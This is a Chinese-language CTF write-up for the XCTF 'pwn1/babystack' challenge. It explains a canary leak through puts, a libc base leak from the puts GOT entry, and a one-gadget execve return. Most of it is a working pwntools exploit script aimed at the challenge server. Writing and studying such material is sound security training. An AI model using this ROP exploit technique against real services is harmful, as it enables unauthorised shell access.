攻防世界pwn-pwn1


checksec检查

除了PIE外所有保护全开.
程序的大致逻辑是一个输入输出, 先将输入存储到缓冲区, 然后再输出

IDA打开后程序的主逻辑如下:

程序中没有发现system函数以及bin/sh等, 只有read, puts, write. 附件中给出了libc, libc中有可利用的execve

大致思路是要通过主程序去泄漏出libc的基地址, 然后通过libc中的execve去get shell.
因为开启了canary, 首先要去找到canary的值, 由于输入值和canary的值在栈中相邻, 因此可以通过puts函数泄漏出canray的值.

可以第一步输入'a' * 0x88, 然后第二步输出时泄漏canary的地址. 但是因为在发送'a' * 0x88时会在末尾追加\n, 因此会将canary低位的\x00覆盖掉, 所以还要还原.

在得到canary的值后, 就需要去泄漏出libc的基地址. 因为程序中有使用到puts函数, 所以通过调用puts函数去计算出puts函数的地址, 然后通过plt, got表的调用关系去计算出libc的基地址. 然后再算出运行时execve的地址, 来进行调用.

from pwn import*
from LibcSearcher import*

context.log_level = 'debug'

  
# sh = process('./babystack')
sh = remote('61.147.171.105', 49628)
elf = ELF('./babystack')
libc = ELF('./libc-2.23.so')
execve_addr = 0x45216

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
read_got = elf.got['read']
read_plt = elf.plt['read']
write_got = elf.got['write']
write_plt = elf.plt['write']

main = 0x400908
pop_rdi = 0x400A93

sh.sendlineafter('>> ',b'1')
sh.sendline(b'a' * 0x88) 
#通过覆盖掉\x00来使得puts泄漏出canary
sh.sendlineafter('>> ', b'2')
sh.recvuntil('a' * 0x88 + '\n')
canary = u64(sh.recv(7).rjust(8, b'\x00')) 
#将末尾的0xa替换回来
print("canary value : 0x%x" % canary)

sh.sendlineafter('>> ', b'1')
payload_1 = b'a' * 0x88 + p64(canary) + b'a' * 8 +  \ 
			p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) 
#利用puts函数输出puts函数的地址
sh.sendline(payload_1)
sh.recv()
sh.sendlineafter('>> ', b'3')
put_addr = u64(sh.recv(8).ljust(8, b'\x00'))

print("puts address : 0x%x" % (put_addr))
libc_base = put_addr - libc.symbols['puts'] 
#计算基地址
bin_sh = libc_base + execve_addr

sh.sendlineafter('>> ', b'1')
payload = b'a' * 0x88 + p64(canary) + b'a' * 0x8 + p64(bin_sh) 
#跳转到getshell
sh.sendline(payload)
sh.sendlineafter('>> ', b'3')
sh.interactive()

文章作者: xysx
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 xysx !
评论